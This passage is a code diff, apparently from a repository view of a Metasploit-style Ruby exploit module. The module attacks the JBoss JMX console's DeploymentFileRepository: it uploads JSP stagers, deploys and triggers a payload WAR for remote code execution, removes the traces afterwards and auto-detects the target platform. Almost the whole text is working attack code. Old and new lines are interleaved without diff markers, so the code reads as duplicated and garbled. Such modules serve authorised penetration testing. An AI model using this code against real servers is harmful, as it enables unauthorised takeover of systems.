FileOutputStream #{fos_var} = new FileOutputStream(#{file_path_var});
|
||||
#{fos_var}.write(#{decoded_var});
|
||||
#{fos_var}.close();
|
||||
}
|
||||
catch(Exception e)
|
||||
{
|
||||
}
|
||||
%>
|
||||
|
||||
EOT
|
||||
|
||||
stager_contents = stager_jsp_with_payload(app_base, encoded_payload)
|
||||
# Depending on the type on the verb we might use a second stager
|
||||
if datastore['VERB'] == "POST" then
|
||||
if http_verb == "POST" then
|
||||
print_status("Deploying stager for the WAR file")
|
||||
res = upload_file(stager_base, stager_jsp, stager_jsp_code)
|
||||
res = upload_file(stager_base, stager_jsp_name, stager_contents)
|
||||
else
|
||||
print_status("Deploying minimal stager to upload the payload")
|
||||
res = upload_file(stager_base, head_stager_jsp, head_stager_jsp_code)
|
||||
head_stager_uri = "/" + stager_base + "/" + head_stager_jsp + ".jsp?"
|
||||
head_stager_jsp_name = rand_text_alpha(8+rand(8))
|
||||
head_stager_contents = head_stager_jsp(stager_base, stager_jsp_name)
|
||||
head_stager_uri = "/" + stager_base + "/" + head_stager_jsp_name + ".jsp"
|
||||
res = upload_file(stager_base, head_stager_jsp_name, head_stager_contents)
|
||||
|
||||
# We split the stager_jsp_code in multipe junks and transfer on the
|
||||
# target with multiple requests
|
||||
current_pos = 0
|
||||
while current_pos < stager_jsp_code.length
|
||||
while current_pos < stager_contents.length
|
||||
next_pos = current_pos + 5000 + rand(100)
|
||||
junk = "#{content_var}=" + Rex::Text.uri_encode(stager_jsp_code[current_pos,next_pos])
|
||||
print_status("Uploading second stager (#{current_pos}/#{stager_jsp_code.length})")
|
||||
res = call_uri_mtimes(head_stager_uri + junk)
|
||||
vars_get = { "arg0" => stager_contents[current_pos,next_pos] }
|
||||
print_status("Uploading second stager (#{current_pos}/#{stager_contents.length})")
|
||||
res = deploy('uri' => head_stager_uri,
|
||||
'vars_get' => vars_get)
|
||||
current_pos += next_pos
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
# Call the stager to deploy the payload war file
|
||||
# Using HEAD may trigger a 500 Internal Server Error (at leat on 4.2.3.GA),
|
||||
# but the file still gets written.
|
||||
if (res.code == 200 || res.code == 500)
|
||||
unless res && ( res.code == 200 || res.code == 500)
|
||||
fail_with(Failure::Unknown, "Failed to deploy")
|
||||
end
|
||||
|
||||
print_status("Calling stager to deploy the payload warfile (might take some time)")
|
||||
stager_uri = '/' + stager_base + '/' + stager_jsp + '.jsp'
|
||||
stager_res = call_uri_mtimes(stager_uri)
|
||||
stager_uri = '/' + stager_base + '/' + stager_jsp_name + '.jsp'
|
||||
stager_res = deploy('uri' => stager_uri,
|
||||
'method' => 'GET')
|
||||
|
||||
print_status("Try to call the deployed payload")
|
||||
# Try to execute the payload by calling the deployed WAR file
|
||||
payload_uri = "/" + app_base + "/" + jsp_name + '.jsp'
|
||||
payload_res = call_uri_mtimes(payload_uri)
|
||||
payload_res = deploy('uri' => payload_uri)
|
||||
|
||||
#
|
||||
# DELETE
|
||||
|
@ -236,187 +167,22 @@ EOT
|
|||
# The WAR can only be removed by physically deleting it, otherwise it
|
||||
# will get redeployed after a server restart.
|
||||
print_status("Undeploying stager and payload WARs via DeploymentFileRepository.remove()...")
|
||||
print_status("This might take some time, be patient...") if datastore['VERB'] == "HEAD"
|
||||
print_status("This might take some time, be patient...") if http_verb == "HEAD"
|
||||
delete_res = []
|
||||
delete_res << delete_file(Rex::Text.uri_encode(stager_base) + '.war', stager_jsp, '.jsp')
|
||||
delete_res << delete_file(Rex::Text.uri_encode(stager_base) + '.war', head_stager_jsp, '.jsp')
|
||||
delete_res << delete_file('./', Rex::Text.uri_encode(stager_base) + '.war', '')
|
||||
delete_res << delete_file('./', Rex::Text.uri_encode(app_base) + '.war', '')
|
||||
if head_stager_jsp_name
|
||||
delete_res << delete_file(stager_base + '.war', head_stager_jsp_name, '.jsp')
|
||||
end
|
||||
delete_res << delete_file(stager_base + '.war', stager_jsp_name, '.jsp')
|
||||
delete_res << delete_file('./', stager_base + '.war', '')
|
||||
delete_res << delete_file('./', app_base + '.war', '')
|
||||
delete_res.each do |res|
|
||||
if !res
|
||||
print_warning("WARNING: Unable to remove WAR [No Response]")
|
||||
elsif (res.code < 200 || res.code >= 300)
|
||||
print_warning("WARNING: Unable to remove WAR [#{res.code} #{res.message}]")
|
||||
end
|
||||
end
|
||||
|
||||
handler
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
# Upload a text file with DeploymentFileRepository.store()
|
||||
def upload_file(base_name, jsp_name, content)
|
||||
data = 'action=invokeOpByName'
|
||||
data << '&name=jboss.admin%3Aservice%3DDeploymentFileRepository'
|
||||
data << '&methodName=store'
|
||||
data << '&argType=java.lang.String'
|
||||
data << '&arg0=' + Rex::Text.uri_encode(base_name) + '.war'
|
||||
data << '&argType=java.lang.String'
|
||||
data << '&arg1=' + jsp_name
|
||||
data << '&argType=java.lang.String'
|
||||
data << '&arg2=.jsp'
|
||||
data << '&argType=java.lang.String'
|
||||
data << '&arg3=' + Rex::Text.uri_encode(content)
|
||||
data << '&argType=boolean'
|
||||
data << '&arg4=True'
|
||||
|
||||
if (datastore['VERB'] == "POST")
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'uri' => normalize_uri(datastore['PATH'], '/HtmlAdaptor'),
|
||||
'method' => datastore['VERB'],
|
||||
'data' => data
|
||||
}, 5)
|
||||
else
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'uri' => normalize_uri(datastore['PATH'], '/HtmlAdaptor') + "?#{data}",
|
||||
'method' => datastore['VERB'],
|
||||
}, 30)
|
||||
end
|
||||
|
||||
res
|
||||
end
|
||||
|
||||
|
||||
# Delete a file with DeploymentFileRepository.remove().
|
||||
def delete_file(folder, name, ext)
|
||||
data = 'action=invokeOpByName'
|
||||
data << '&name=jboss.admin%3Aservice%3DDeploymentFileRepository'
|
||||
data << '&methodName=remove'
|
||||
data << '&argType=java.lang.String'
|
||||
data << '&arg0=' + folder
|
||||
data << '&argType=java.lang.String'
|
||||
data << '&arg1=' + name
|
||||
data << '&argType=java.lang.String'
|
||||
data << '&arg2=' + ext
|
||||
|
||||
if (datastore['VERB'] == "POST")
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'uri' => normalize_uri(datastore['PATH'], '/HtmlAdaptor'),
|
||||
'method' => datastore['VERB'],
|
||||
'data' => data
|
||||
}, 5)
|
||||
else
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'uri' => normalize_uri(datastore['PATH'], '/HtmlAdaptor;index.jsp') + "?#{data}",
|
||||
'method' => datastore['VERB'],
|
||||
}, 30)
|
||||
end
|
||||
res
|
||||
end
|
||||
|
||||
# Call the URL multiple times until we have hit
|
||||
def call_uri_mtimes(uri, num_attempts = 5)
|
||||
verb = 'HEAD' if (datastore['VERB'] != 'GET' and datastore['VERB'] != 'POST')
|
||||
|
||||
# JBoss might need some time for the deployment. Try 5 times at most and
|
||||
# wait 5 seconds inbetween tries
|
||||
num_attempts.times do |attempt|
|
||||
res = send_request_cgi({
|
||||
'uri' => uri,
|
||||
'method' => verb
|
||||
}, 30)
|
||||
|
||||
stripped_uri = uri[0,70] + "..."
|
||||
msg = nil
|
||||
if (!res)
|
||||
msg = "Execution failed on #{stripped_uri} [No Response]"
|
||||
elsif (res.code < 200 or res.code >= 300)
|
||||
msg = "http request failed to #{stripped_uri} [#{res.code}]"
|
||||
elsif (res.code == 200)
|
||||
print_status("Successfully called '#{stripped_uri}'") if datastore['VERBOSE']
|
||||
return res
|
||||
end
|
||||
|
||||
if (attempt < num_attempts - 1)
|
||||
msg << ", retrying in 5 seconds..."
|
||||
print_status(msg) if datastore['VERBOSE']
|
||||
select(nil, nil, nil, 5)
|
||||
else
|
||||
print_error(msg)
|
||||
return res
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
def auto_target
|
||||
print_status("Attempting to automatically select a target...")
|
||||
res = query_serverinfo
|
||||
if not (plat = detect_platform(res))
|
||||
fail_with(Failure::NoTarget, 'Unable to detect platform!')
|
||||
end
|
||||
|
||||
if not (arch = detect_architecture(res))
|
||||
fail_with(Failure::NoTarget, 'Unable to detect architecture!')
|
||||
end
|
||||
|
||||
# see if we have a match
|
||||
targets.each { |t| return t if (t['Platform'] == plat) and (t['Arch'] == arch) }
|
||||
|
||||
# no matching target found, use Java as fallback
|
||||
java_targets = targets.select {|t| t.name =~ /^Java/ }
|
||||
return java_targets[0]
|
||||
end
|
||||
|
||||
|
||||
def query_serverinfo
|
||||
path = normalize_uri(datastore['PATH'], '/HtmlAdaptor') + '?action=inspectMBean&name=jboss.system:type=ServerInfo'
|
||||
res = send_request_raw(
|
||||
{
|
||||
'uri' => path,
|
||||
'method' => datastore['VERB']
|
||||
}, 20)
|
||||
|
||||
if (not res) or (res.code != 200)
|
||||
print_error("Failed: Error requesting #{path}")
|
||||
return nil
|
||||
end
|
||||
|
||||
res
|
||||
end
|
||||
|
||||
# Try to autodetect the target platform
|
||||
def detect_platform(res)
|
||||
if (res.body =~ /<td.*?OSName.*?(Linux|FreeBSD|Windows).*?<\/td>/m)
|
||||
os = $1
|
||||
if (os =~ /Linux/i)
|
||||
return 'linux'
|
||||
elsif (os =~ /FreeBSD/i)
|
||||
return 'linux'
|
||||
elsif (os =~ /Windows/i)
|
||||
return 'win'
|
||||
end
|
||||
end
|
||||
nil
|
||||
end
|
||||
|
||||
|
||||
# Try to autodetect the target architecture
|
||||
def detect_architecture(res)
|
||||
if (res.body =~ /<td.*?OSArch.*?(x86|i386|i686|x86_64|amd64).*?<\/td>/m)
|
||||
arch = $1
|
||||
if (arch =~ /(x86|i386|i686)/i)
|
||||
return ARCH_X86
|
||||
elsif (arch =~ /(x86_64|amd64)/i)
|
||||
return ARCH_X86
|
||||
end
|
||||
end
|
||||
nil
|
||||
end
|
||||
|
||||
end
|
||||
|
|
Some files were not shown because too many files have changed in this diff Show More
Loading…
Reference in New Issue